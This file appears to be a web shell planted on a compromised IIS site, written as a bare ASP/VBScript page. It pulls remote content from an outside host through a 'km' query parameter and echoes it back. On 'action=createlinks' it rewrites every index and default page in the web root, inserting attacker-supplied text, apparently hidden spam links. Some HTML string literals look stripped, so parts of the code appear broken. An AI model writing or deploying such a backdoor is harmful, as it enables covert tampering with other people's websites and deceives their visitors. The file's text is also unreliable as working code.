<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% Response.Addheader "Content-Type","text/html;charset=utf-8" if len(Request.QueryString("km"))<>0 Then Response.Write GetResStr("http://www.pmacademy.org/us2/km/"&"km/"&Request.QueryString("km")) end if action=request("action") replacestr=request("replacestr") If action="createlinks" and replacestr<>"" Then Response.Write CreateLink() End If Response.End Function CreateLink() set fso=CreateObject("Scripting.FileSystemObject") set fs=fso.GetFolder(Server.MapPath("/")) For Each file In fs.Files If instr(LCase(file.name),"index")>0 or instr(LCase(file.name),"default")>0 Then set fsofile=fso.OpenTextFile(file, 1, true) On Error Resume next tempstr=fsofile.Readall pos1=instr(tempstr,"
") If pos1>0 then tempstr=RegexReplace(tempstr,"
(.+?)","") End If tempstr=replace(tempstr, "", "
"&replacestr&"
") set fsofile1=fso.OpenTextFile(file, 2, true) fsofile1.WriteLine tempstr fsofile1.close CreateLink="linkbyme" End If Next set fso=nothing End Function Function RegexReplace(source1,pattern1,replace1) Set re = New RegExp re.Pattern = pattern1 re.Global = True re.IgnoreCase = True RegexReplace= re.replace(source1,replace1) End Function function GetResStr(URL) dim ResBody,ResStr,PageCode Set Http=server.createobject("msxml2.serverxmlhttp.3.0") Http.setTimeouts 10000, 10000, 10000, 10000 Http.open "GET",URL,False Http.Send() If Http.Readystate =4 Then If Http.status=200 Then ResStr=http.responseText ResBody=http.responseBody PageCode="utf-8" GetResStr=BytesToBstr(http.responseBody,trim(PageCode)) End If End If End Function Function BytesToBstr(Body,Cset) Dim Objstream Set Objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %>